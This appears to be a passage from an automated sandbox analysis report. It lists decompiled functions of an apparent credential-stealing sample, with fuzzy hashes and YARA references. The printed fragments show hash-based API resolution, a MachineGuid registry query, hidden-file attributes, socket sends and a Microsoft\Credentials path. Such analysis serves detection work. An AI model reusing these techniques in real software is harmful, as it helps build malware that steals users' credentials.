RegOpenKeyExA.KERNELBASE(00000032,?,00000000,00020119,00000000,00000009,F4B4ACDC,00000000,00000000,MachineGuid,00000032,00000000,00413DA5,00413987), ref: 00404A9A
RegQueryValueExA.KERNELBASE(?,00000000,00000000,00000000,00000000,00000009,00000009,FE9F661A,00000000,00000000), ref: 00404ABC

Memory Dump Source

Source File: 00000005.00000002.900810400.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Heap$AllocateOpenProcessQueryValue
String ID:
API String ID: 1425999871-0
Opcode ID: 8a65b5e102e28de28ef59c05438bd133f995ad554f34eb9b6244912b3c07c856
Instruction ID: c751ae4fb1a51baa23b068920df28fa5e45e9ad9ad003da97b765f6d6e9ada80
Opcode Fuzzy Hash: 8a65b5e102e28de28ef59c05438bd133f995ad554f34eb9b6244912b3c07c856
Instruction Fuzzy Hash: A301B1B264010C7EEB01AED69C86DBF7B2DDB81798B10003EF60475182EAB59E1156B9

Uniqueness

Uniqueness Score: -1.00%

Function 00402BAB, Relevance: 3.0, APIs: 2, Instructions: 11
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402BAB(void* _a4) {
				void* _t3;
				char _t5;

				if(_a4 != 0) {
					_t5 = RtlFreeHeap(GetProcessHeap(), 0, _a4); // executed
					return _t5;
				}
				return _t3;
			}

0x00402bb2
0x00402bc0
0x00000000
0x00402bc0
0x00402bc7

APIs

GetProcessHeap.KERNEL32(00000000,00000000), ref: 00402BB9
RtlFreeHeap.NTDLL(00000000), ref: 00402BC0

Memory Dump Source

Source File: 00000005.00000002.900810400.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: 0ab6f2dbedfa6cb862415dde11aab857cc1d2c8de5bdcfad433bf240e63de12c
Instruction ID: 8dd5a347e09044be93d5ac0bfd75615970d35e99714971ab129ae27a0189db5c
Opcode Fuzzy Hash: 0ab6f2dbedfa6cb862415dde11aab857cc1d2c8de5bdcfad433bf240e63de12c
Instruction Fuzzy Hash: 7FC01235000A08EBCB001FD0E90CBE93F6CAB8838AF808020B60C480A0C6B49090CAA8

Uniqueness

Uniqueness Score: -1.00%

Function 004060BD, Relevance: 1.6, APIs: 1, Instructions: 53
COMMON

Download Yara Rule

C-Code - Quality: 40%

			E004060BD(void* __eflags) {
				signed int _v8;
				char _v12;
				short _v16;
				char _v20;
				void* __ebx;
				intOrPtr* _t12;
				signed int _t13;
				intOrPtr* _t14;
				signed int _t15;
				void* _t24;

				_v16 = 0x500;
				_v20 = 0;
				_t12 = E004031E5(0, 9, 0xf3a0c470, 0, 0);
				_t13 =  *_t12( &_v20, 2, 0x20, 0x220, 0, 0, 0, 0, 0, 0,  &_v12);
				_v8 = _t13;
				if(_t13 != 0) {
					_t14 = E004031E5(0, 9, 0xe3b938df, 0, 0);
					_t15 =  *_t14(0, _v12,  &_v8, _t24); // executed
					asm("sbb eax, eax");
					_v8 = _v8 &  ~_t15;
					E0040604F(_v12);
					return _v8;
				}
				return _t13;
			}

0x004060c6
0x004060d5
0x004060d8
0x004060f4
0x004060f6
0x004060fb
0x0040610a
0x00406115
0x0040611c
0x0040611e
0x00406121
0x00000000
0x0040612a
0x0040612f

APIs

CheckTokenMembership.KERNELBASE(00000000,00000000,00000000,00000009,E3B938DF,00000000,00000000,00000001), ref: 00406115

Memory Dump Source

Source File: 00000005.00000002.900810400.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CheckMembershipToken
String ID:
API String ID: 1351025785-0
Opcode ID: 4a43c4ed47dff20a0e63da0344eb6b70d0e7b4795f78c2e23bdd5dfdab477f71
Instruction ID: 8b780b9e56efd5f2a9a2252a5f210822aeafba94d0ba5a8497d60ad8274f78a0
Opcode Fuzzy Hash: 4a43c4ed47dff20a0e63da0344eb6b70d0e7b4795f78c2e23bdd5dfdab477f71
Instruction Fuzzy Hash: 7801867195020DBEEB00EBE59C86EFFB77CEF08208F100569B515B60C2EA75AF008764

Uniqueness

Uniqueness Score: -1.00%

Function 00403C62, Relevance: 1.5, APIs: 1, Instructions: 24
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403C62(void* __ebx, void* __eflags, WCHAR* _a4) {
				void* _t3;
				int _t5;

				_t3 = E00403D4D(__eflags, _a4); // executed
				if(_t3 == 0) {
					__eflags = 0;
					E004031E5(__ebx, 0, 0xc8f0a74d, 0, 0);
					_t5 = CreateDirectoryW(_a4, 0); // executed
					return _t5;
				} else {
					return 1;
				}
			}

0x00403c68
0x00403c70
0x00403c78
0x00403c82
0x00403c8b
0x00403c8f
0x00403c72
0x00403c76
0x00403c76

APIs

CreateDirectoryW.KERNELBASE(00413D1F,00000000,00000000,C8F0A74D,00000000,00000000,00000000,?,00413D1F,00000000), ref: 00403C8B

Memory Dump Source

Source File: 00000005.00000002.900810400.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CreateDirectory
String ID:
API String ID: 4241100979-0
Opcode ID: d413ab25134c4b1c761ae7c40b175d3f6038492197e92d4c0305fa2d5b60993a
Instruction ID: 8def336d827aa123259dd30fe2d1f4df156212ecddfe904d71fbacf529eca846
Opcode Fuzzy Hash: d413ab25134c4b1c761ae7c40b175d3f6038492197e92d4c0305fa2d5b60993a
Instruction Fuzzy Hash: 47D05E320450687A9A202AA7AC08CDB3E0DDE032FA7004036B81CE4052DB26861191E4

Uniqueness

Uniqueness Score: -1.00%

Function 0040642C, Relevance: 1.5, APIs: 1, Instructions: 18
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E0040642C(void* __eflags) {
				short _v40;
				intOrPtr* _t6;
				void* _t10;

				_t6 = E004031E5(_t10, 0, 0xe9af4586, 0, 0);
				 *_t6( &_v40); // executed
				return 0 | _v40 == 0x00000009;
			}

0x0040643c
0x00406445
0x00406454

APIs

GetNativeSystemInfo.KERNELBASE(?,00000000,E9AF4586,00000000,00000000,?,?,?,?,004144CF,00000000,00000000,00000000,00000000), ref: 00406445

Memory Dump Source

Source File: 00000005.00000002.900810400.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 18b792e9f3ed795f2423495cf2abf5b642ecf28d7d26812d11fe043f37d9eb75
Instruction ID: 89a273ea7bbabd9d74fc824e7d15e3b55fbc967ee531cdb223f62f0d5b23fb21
Opcode Fuzzy Hash: 18b792e9f3ed795f2423495cf2abf5b642ecf28d7d26812d11fe043f37d9eb75
Instruction Fuzzy Hash: 60D0C9969142082A9B24FEB14E49CBB76EC9A48104B400AA8FC05E2180FD6ADF5482A5

Uniqueness

Uniqueness Score: -1.00%

Function 00404EEA, Relevance: 1.5, APIs: 1, Instructions: 16
networkCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00404EEA(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				intOrPtr _t5;

				_t5 = _a12;
				if(_t5 == 0) {
					_t5 = E00405D0B(_a8) + 1;
				}
				__imp__#19(_a4, _a8, _t5, 0); // executed
				return _t5;
			}

0x00404eed
0x00404ef2
0x00404efd
0x00404efd
0x00404f07
0x00404f0e

APIs

send.WS2_32(00000000,00000000,00000000,00000000), ref: 00404F07

Memory Dump Source

Source File: 00000005.00000002.900810400.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: send
String ID:
API String ID: 2809346765-0
Opcode ID: f5f37575630baef1eb429ccea87373dc8bd2737f5fb4b11d46726e1bb86e5636
Instruction ID: 973ad19c2726000f66dbac5dad6f1ecaf56acd36cc9bde1755ab86a88c27f217
Opcode Fuzzy Hash: f5f37575630baef1eb429ccea87373dc8bd2737f5fb4b11d46726e1bb86e5636
Instruction Fuzzy Hash: F8D09231140209BBEF016E55EC05BAA3B69EF44B54F10C026BA18991A1DB31A9219A98

Uniqueness

Uniqueness Score: -1.00%

Function 00403BD0, Relevance: 1.5, APIs: 1, Instructions: 14
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403BD0(WCHAR* _a4, WCHAR* _a8, long _a12) {
				int _t6;
				void* _t7;

				E004031E5(_t7, 0, 0xc9143177, 0, 0);
				_t6 = MoveFileExW(_a4, _a8, _a12); // executed
				return _t6;
			}

0x00403bdd
0x00403beb
0x00403bee

APIs

MoveFileExW.KERNELBASE(00000000,00412C16,?,00000000,C9143177,00000000,00000000,?,004040B6,00000000,00412C16,00000001,?,00412C16,00000000,00000000), ref: 00403BEB

Memory Dump Source

Source File: 00000005.00000002.900810400.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FileMove
String ID:
API String ID: 3562171763-0
Opcode ID: 7a0bb135e6e1f0606704ed46507384a8cac74e7a8e8860f1f6d7d5715d4ca302
Instruction ID: 27267517ebbd606c040c475238707358b0366275ca1c9c11413b547716cf2561
Opcode Fuzzy Hash: 7a0bb135e6e1f0606704ed46507384a8cac74e7a8e8860f1f6d7d5715d4ca302
Instruction Fuzzy Hash: 5AC04C7500424C7FEF026EF19D05C7B3F5EEB49618F448825BD18D5421DA37DA216664

Uniqueness

Uniqueness Score: -1.00%

Function 00404DF3, Relevance: 1.5, APIs: 1, Instructions: 13networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000202,?), ref: 00404E08

Memory Dump Source

Source File: 00000005.00000002.900810400.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Startup
String ID:
API String ID: 724789610-0
Opcode ID: aec8cb7098972fa6752499418e154eb0e8b54166df737fc870e0652f0f0fb75e
Instruction ID: edfb6e6a7b2c2d2c81179f298452045bbfcf768a57aceb16f5d93ae35c4528ea
Opcode Fuzzy Hash: aec8cb7098972fa6752499418e154eb0e8b54166df737fc870e0652f0f0fb75e
Instruction Fuzzy Hash: 6EC08C32AA421C9FD750AAB8AD0FAF0B7ACD30AB02F0002B56E1DC60C1E550582906E2

Uniqueness

Uniqueness Score: -1.00%

Function 0040427D, Relevance: 1.5, APIs: 1, Instructions: 13
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040427D(WCHAR* _a4) {
				int _t4;
				void* _t5;

				E004031E5(_t5, 0, 0xcac5886e, 0, 0);
				_t4 = SetFileAttributesW(_a4, 0x2006); // executed
				return _t4;
			}

0x0040428a
0x00404297
0x0040429a

APIs

SetFileAttributesW.KERNELBASE(00000000,00002006,00000000,CAC5886E,00000000,00000000,?,00412C3B,00000000,00000000,?), ref: 00404297

Memory Dump Source

Source File: 00000005.00000002.900810400.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 8dd52a8075b7bef316d0fc581140073ef821e073e46509cdb91d5efed9f2b539
Instruction ID: e837d3b0865cda380a04769d40cc561620ee701a25bf2a33446201ee5459e2a9
Opcode Fuzzy Hash: 8dd52a8075b7bef316d0fc581140073ef821e073e46509cdb91d5efed9f2b539
Instruction Fuzzy Hash: A9C092B054430C3EFA102EF29D4AD3B3A8EEB41648B008435BE08E9096E977DE2061A8

Uniqueness

Uniqueness Score: -1.00%

Function 00404A19, Relevance: 1.5, APIs: 1, Instructions: 13
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404A19(void* _a4, short* _a8, void** _a12) {
				long _t5;
				void* _t6;

				E004031E5(_t6, 9, 0xdb552da5, 0, 0);
				_t5 = RegOpenKeyW(_a4, _a8, _a12); // executed
				return _t5;
			}

0x00404a27
0x00404a35
0x00404a38

APIs

RegOpenKeyW.ADVAPI32(?,?,?,00000009,DB552DA5,00000000,00000000), ref: 00404A35

Memory Dump Source

Source File: 00000005.00000002.900810400.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 878e79dc60d56a32ccce77cf818dc40cd176942d244c38d6301a2c771aeba921
Instruction ID: b1d3f25f69c2166d3d07fcddbc0993e3b6974a4a806b5379996ceb22213e89af
Opcode Fuzzy Hash: 878e79dc60d56a32ccce77cf818dc40cd176942d244c38d6301a2c771aeba921
Instruction Fuzzy Hash: 5BC012311802087FFF012EC1CC02F483E1AAB08B55F044011BA18280E1EAB3A2205658

Uniqueness

Uniqueness Score: -1.00%

Function 00403C40, Relevance: 1.5, APIs: 1, Instructions: 12
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403C40(void* _a4) {
				int _t4;
				void* _t5;

				E004031E5(_t5, 0, 0xfbce7a42, 0, 0);
				_t4 = FindCloseChangeNotification(_a4); // executed
				return _t4;
			}

0x00403c4d
0x00403c55
0x00403c58

APIs

FindCloseChangeNotification.KERNELBASE(00000000,00000000,FBCE7A42,00000000,00000000,?,00404344,00000000,?,?,004146E2,00000000,00000000,?,00000000,00000000), ref: 00403C55

Memory Dump Source

Source File: 00000005.00000002.900810400.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 67fd61e36e72385b159b193fd7e1560e83aa445b7d913ea69a34d34039b65f78
Instruction ID: f60e35b61e15034c3e7e350ceef27d37971f1a6745175d5827dd76012fe363c0
Opcode Fuzzy Hash: 67fd61e36e72385b159b193fd7e1560e83aa445b7d913ea69a34d34039b65f78
Instruction Fuzzy Hash: 70B092B01182087EAE006AF29C05C3B3E4ECA4060874094267C08E5451F937DF2014B4

Uniqueness

Uniqueness Score: -1.00%

Function 00403C08, Relevance: 1.5, APIs: 1, Instructions: 12
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403C08(WCHAR* _a4) {
				int _t4;
				void* _t5;

				E004031E5(_t5, 0, 0xdeaa357b, 0, 0);
				_t4 = DeleteFileW(_a4); // executed
				return _t4;
			}

0x00403c15
0x00403c1d
0x00403c20

APIs

DeleteFileW.KERNELBASE(?,00000000,DEAA357B,00000000,00000000), ref: 00403C1D

Memory Dump Source

Source File: 00000005.00000002.900810400.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 01b23650ea3b3ad0b7ef3e64b7b20365c040140a899dd4cba48e3dfa7394e9f1
Instruction ID: 5639c68ad781144a2d68ff400f656d3d2c658e81fc8059c2e96e04b5885f7932
Opcode Fuzzy Hash: 01b23650ea3b3ad0b7ef3e64b7b20365c040140a899dd4cba48e3dfa7394e9f1
Instruction Fuzzy Hash: EDB092B04082093EAA013EF59C05C3B3E4DDA4010870048257D08E6111EA36DF1010A8

Uniqueness

Uniqueness Score: -1.00%

Function 00402C1F, Relevance: 1.5, APIs: 1, Instructions: 12
libraryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402C1F(WCHAR* _a4) {
				struct HINSTANCE__* _t4;
				void* _t5;

				E004031E5(_t5, 0, 0xe811e8d4, 0, 0);
				_t4 = LoadLibraryW(_a4); // executed
				return _t4;
			}

0x00402c2c
0x00402c34
0x00402c37

APIs

LoadLibraryW.KERNELBASE(?,00000000,E811E8D4,00000000,00000000), ref: 00402C34

Memory Dump Source

Source File: 00000005.00000002.900810400.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: af34b662912c89fdb3a0f1b9ff73cd040c3e05ef601eeab43baa4f39a88cbda5
Instruction ID: cd53f9395925d29cf68d66af6aae64644fca58afce9bbcd5edfe8b9605b00cd0
Opcode Fuzzy Hash: af34b662912c89fdb3a0f1b9ff73cd040c3e05ef601eeab43baa4f39a88cbda5
Instruction Fuzzy Hash: C9B092B00082083EAA002EF59C05C7F3A4DDA4410874044397C08E5411F937DE1012A5

Uniqueness

Uniqueness Score: -1.00%

Function 00403BEF, Relevance: 1.5, APIs: 1, Instructions: 12
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403BEF(void* _a4) {
				int _t4;
				void* _t5;

				E004031E5(_t5, 0, 0xda6ae59a, 0, 0);
				_t4 = FindClose(_a4); // executed
				return _t4;
			}

0x00403bfc
0x00403c04
0x00403c07

APIs

FindClose.KERNELBASE(00403F8D,00000000,DA6AE59A,00000000,00000000,?,00403F8D,00000000), ref: 00403C04

Memory Dump Source

Source File: 00000005.00000002.900810400.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: 9873c53fda05388afb850746851f5e32e8254642b63e91831ef49aacf0f87411
Instruction ID: 1ebc74916e7009c76bd4f38d62a0f1d2d6d24e136e2668fcc01a71b48f24aa02
Opcode Fuzzy Hash: 9873c53fda05388afb850746851f5e32e8254642b63e91831ef49aacf0f87411
Instruction Fuzzy Hash: FDB092B00442087EEE002EF1AC05C7B3F4EDA4410970044257E0CE5012E937DF1010B4

Uniqueness

Uniqueness Score: -1.00%

Function 00403BB7, Relevance: 1.5, APIs: 1, Instructions: 12
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403BB7(WCHAR* _a4) {
				long _t4;
				void* _t5;

				E004031E5(_t5, 0, 0xc6808176, 0, 0);
				_t4 = GetFileAttributesW(_a4); // executed
				return _t4;
			}

0x00403bc4
0x00403bcc
0x00403bcf

APIs

GetFileAttributesW.KERNELBASE(00413D1F,00000000,C6808176,00000000,00000000,?,00403D58,00413D1F,?,00403C6D,00413D1F,?,00413D1F,00000000), ref: 00403BCC

Memory Dump Source

Source File: 00000005.00000002.900810400.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 1d6dd25f7c332fd1d35fbf5985813ee51de81cf8f6e5d0f963c2f0c9ec148b39
Instruction ID: 12c622a32f4ce0ce5baf48af10e49973588d22e73ecb696d4958cc4f11b8a016
Opcode Fuzzy Hash: 1d6dd25f7c332fd1d35fbf5985813ee51de81cf8f6e5d0f963c2f0c9ec148b39
Instruction Fuzzy Hash: D2B092B05042083EAE012EF19C05C7B3A6DCA40148B4088297C18E5111ED36DE5050A4

Uniqueness

Uniqueness Score: -1.00%

Function 004049FF, Relevance: 1.5, APIs: 1, Instructions: 11
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004049FF(void* _a4) {
				long _t3;
				void* _t4;

				E004031E5(_t4, 9, 0xd980e875, 0, 0);
				_t3 = RegCloseKey(_a4); // executed
				return _t3;
			}

0x00404a0d
0x00404a15
0x00404a18

APIs

RegCloseKey.KERNELBASE(00000000,00000009,D980E875,00000000,00000000,?,00404A44,?,?,00404AC6,?), ref: 00404A15

Memory Dump Source

Source File: 00000005.00000002.900810400.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: a61027cf4d9072e61279d4b4f16a9571f3d05446971c54f2b184413104fd85b7
Instruction ID: 75bcc15c4d71fff8019d16f1d9debb39272117f3de5fdcc107556e34aff8dcac
Opcode Fuzzy Hash: a61027cf4d9072e61279d4b4f16a9571f3d05446971c54f2b184413104fd85b7
Instruction Fuzzy Hash: 7CC092312843087AEA102AE2EC0BF093E0D9B41F98F500025B61C3C1D2E9E3E6100099

Uniqueness

Uniqueness Score: -1.00%

Function 00403B64, Relevance: 1.5, APIs: 1, Instructions: 11
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403B64(WCHAR* _a4) {
				int _t3;
				void* _t4;

				E004031E5(_t4, 2, 0xdc0853e1, 0, 0);
				_t3 = PathFileExistsW(_a4); // executed
				return _t3;
			}

0x00403b72
0x00403b7a
0x00403b7d

APIs

PathFileExistsW.KERNELBASE(?,00000002,DC0853E1,00000000,00000000), ref: 00403B7A

Memory Dump Source

Source File: 00000005.00000002.900810400.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ExistsFilePath
String ID:
API String ID: 1174141254-0
Opcode ID: 79b415000e3dec3248a6d2155c6771fe406342b29d1d2faf8e1af97ba013cdd8
Instruction ID: 8bd75bc93bbce64143a6918826fd0663652f5dbe7ab318808702af7ec0dd126f
Opcode Fuzzy Hash: 79b415000e3dec3248a6d2155c6771fe406342b29d1d2faf8e1af97ba013cdd8
Instruction Fuzzy Hash: F4C0923028830C3BF9113AD2DC47F197E8D8B41B99F104025B70C3C4D2D9E3A6100199

Uniqueness

Uniqueness Score: -1.00%

Function 00404DE5, Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

closesocket.WS2_32(00404EB0), ref: 00404DEB

Memory Dump Source

Source File: 00000005.00000002.900810400.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: closesocket
String ID:
API String ID: 2781271927-0
Opcode ID: 887654383893d56b64fc04469bc98b787ac4c367861e76a9ad562a01a17cc3aa
Instruction ID: a7719220e23c04317d26723f710bfa070304820e6d91f105ed764937a1a9d613
Opcode Fuzzy Hash: 887654383893d56b64fc04469bc98b787ac4c367861e76a9ad562a01a17cc3aa
Instruction Fuzzy Hash: F4A0113000020CEBCB002B82EE088C83F2CEA882A0B808020F80C00020CB22A8208AC8

Uniqueness

Uniqueness Score: -1.00%

Function 00403FBF, Relevance: 1.3, APIs: 1, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403FBF(intOrPtr _a4) {
				void* _t2;
				void* _t12;

				_t2 = E00402B7C(0x208); // executed
				_t12 = _t2;
				if(_t12 == 0) {
					L4:
					return 0;
				}
				E00402B4E(_t12, 0, 0x208);
				if(E00403B98(_a4, _t12, 0x104) == 0) {
					GetLastError();
					E00402BAB(_t12);
					goto L4;
				}
				return _t12;
			}

0x00403fca
0x00403fcf
0x00403fd4
0x00404005
0x00000000
0x00404005
0x00403fda
0x00403ff2
0x00403ff8
0x00403fff
0x00000000
0x00404004
0x00000000

APIs

Part of subcall function 00402B7C: GetProcessHeap.KERNEL32(00000000,?,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E), ref: 00402B85
Part of subcall function 00402B7C: RtlAllocateHeap.NTDLL(00000000,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E,00000000), ref: 00402B8C

GetLastError.KERNEL32(00000001,%s\Microsoft\Credentials,00000000,00000000,0040FA23), ref: 00403FF8

Memory Dump Source

Source File: 00000005.00000002.900810400.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Heap$AllocateErrorLastProcess
String ID:
API String ID: 3278255179-0
Opcode ID: 5d355a1956dd76799a6e2a6fec7f3965d8d6b4db95ded28d5aea558ae739c6f3
Instruction ID: f7c486388e582fdd83a8ec6d56402c07db653bfffd511ff88b26ec3936c06817
Opcode Fuzzy Hash: 5d355a1956dd76799a6e2a6fec7f3965d8d6b4db95ded28d5aea558ae739c6f3
Instruction Fuzzy Hash: 70E09B6260151037D1217D565C0DE9F7E2C8F82BA9F04003BF604B51D1D97CA50141ED

Uniqueness

Uniqueness Score: -1.00%

Function 00403F9E, Relevance: 1.3, APIs: 1, Instructions: 16
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403F9E(void* _a4) {
				int _t3;
				void* _t4;

				E004031E5(_t4, 0, 0xf53ecacb, 0, 0);
				_t3 = VirtualFree(_a4, 0, 0x8000); // executed
				return _t3;
			}

0x00403fac
0x00403fba
0x00403fbe

APIs

VirtualFree.KERNELBASE(0041028C,00000000,00008000,00000000,F53ECACB,00000000,00000000,00000000,?,0041028C,00000000), ref: 00403FBA

Memory Dump Source

Source File: 00000005.00000002.900810400.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 4437192c676a59da206b473fb72d9d26ef1781d862ceba0a26f5730449a5d479
Instruction ID: 31a36aa897feec3f2575a3818ba469950b8b51fe97d839facc05156de448dee4
Opcode Fuzzy Hash: 4437192c676a59da206b473fb72d9d26ef1781d862ceba0a26f5730449a5d479
Instruction Fuzzy Hash: 9CC08C3200613C32893069DBAC0AFCB7E0CDF036F4B104021F50C6404049235A0186F8

Uniqueness

Uniqueness Score: -1.00%

Function 00406472, Relevance: 1.3, APIs: 1, Instructions: 12
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406472(long _a4) {
				void* _t3;
				void* _t4;

				_t3 = E004031E5(_t4, 0, 0xcfa329ad, 0, 0);
				Sleep(_a4); // executed
				return _t3;
			}

0x0040647f
0x00406487
0x0040648a

APIs

Sleep.KERNELBASE(?,00000000,CFA329AD,00000000,00000000), ref: 00406487

Memory Dump Source

Source File: 00000005.00000002.900810400.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 1807eaeb392d941871dd7f4dce37bd4a7f558bd6a955fa7349a6f4d515d7796f
Instruction ID: 8d08050a97d9600d7c0dbf2a5018eca7d85037e123ae0040efa9f3f0a7dd9c36
Opcode Fuzzy Hash: 1807eaeb392d941871dd7f4dce37bd4a7f558bd6a955fa7349a6f4d515d7796f
Instruction Fuzzy Hash: FBB092B08082083EEA002AF1AD05C3B7A8DDA4020870088257C08E5011E93ADE1150B9

Uniqueness

Uniqueness Score: -1.00%

Function 004058EA, Relevance: 1.3, APIs: 1, Instructions: 12
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004058EA(char* _a4, char* _a8) {
				char* _t4;
				void* _t5;

				E004031E5(_t5, 2, 0xc5c16604, 0, 0);
				_t4 = StrStrA(_a4, _a8); // executed
				return _t4;
			}

0x004058f8
0x00405903
0x00405906

APIs

StrStrA.KERNELBASE(?,?,00000002,C5C16604,00000000,00000000), ref: 00405903

Memory Dump Source

Source File: 00000005.00000002.900810400.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 042642b6324743061f7cb6dcc4248db4a99ff7c1e794a59b5538058313c095a3
Instruction ID: d5512459148ba4630ff55d530b0b04b7b8071b1588054f6e556ec5c474e97d6d
Opcode Fuzzy Hash: 042642b6324743061f7cb6dcc4248db4a99ff7c1e794a59b5538058313c095a3
Instruction Fuzzy Hash: 82C04C3118520876EA112AD19C07F597E1D9B45B68F108425BA1C6C4D19AB3A6505559

Uniqueness

Uniqueness Score: -1.00%

Function 00405924, Relevance: 1.3, APIs: 1, Instructions: 12
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405924(WCHAR* _a4, WCHAR* _a8) {
				WCHAR* _t4;
				void* _t5;

				E004031E5(_t5, 2, 0xd6865bd4, 0, 0);
				_t4 = StrStrW(_a4, _a8); // executed
				return _t4;
			}

0x00405932
0x0040593d
0x00405940

APIs

StrStrW.KERNELBASE(?,?,00000002,D6865BD4,00000000,00000000), ref: 0040593D

Memory Dump Source

Source File: 00000005.00000002.900810400.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bee70add85649cbd4a2768cfe9b9dcd091b7df8922090f97a094487be0f2036
Instruction ID: 5151f40d070928696ad3a3dfeafe9e6e8178c5ee17630b0dfe73cc98556a196c
Opcode Fuzzy Hash: 4bee70add85649cbd4a2768cfe9b9dcd091b7df8922090f97a094487be0f2036
Instruction Fuzzy Hash: 8FC04C311842087AEA112FD2DC07F587E1D9B45B58F104015B61C2C5D1DAB3A6105659

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040434D, Relevance: 15.1, APIs: 10, Instructions: 135memorycomCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0040438F
CoCreateInstance.OLE32(00418EC0,00000000,00000001,00418EB0,?), ref: 004043A9
VariantInit.OLEAUT32(?), ref: 004043C4
SysAllocString.OLEAUT32(?), ref: 004043CD
VariantInit.OLEAUT32(?), ref: 00404414
SysAllocString.OLEAUT32(?), ref: 00404419
VariantInit.OLEAUT32(?), ref: 00404431

Memory Dump Source

Source File: 00000005.00000002.900810400.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: InitVariant$AllocString$CreateInitializeInstance
String ID:
API String ID: 1312198159-0
Opcode ID: 36af1e644ba25a92da10ffd92c092694d7a96ee7919212810e1bb10a92bc3d30
Instruction ID: 6cc2ba4480fbb4d68866773ab5e076051400aafb7d2546f6199fc19a864342a4
Opcode Fuzzy Hash: 36af1e644ba25a92da10ffd92c092694d7a96ee7919212810e1bb10a92bc3d30
Instruction Fuzzy Hash: 9A414C71A00609EFDB00EFE4DC84ADEBF79FF89314F10406AFA05AB190DB759A458B94

Uniqueness

Uniqueness Score: -1.00%

Function 0040D069, Relevance: 12.6, Strings: 10, Instructions: 138
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E0040D069(void* __ebx, void* __eflags, intOrPtr* _a4) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				void* __edi;
				void* __esi;
				intOrPtr _t40;
				intOrPtr _t45;
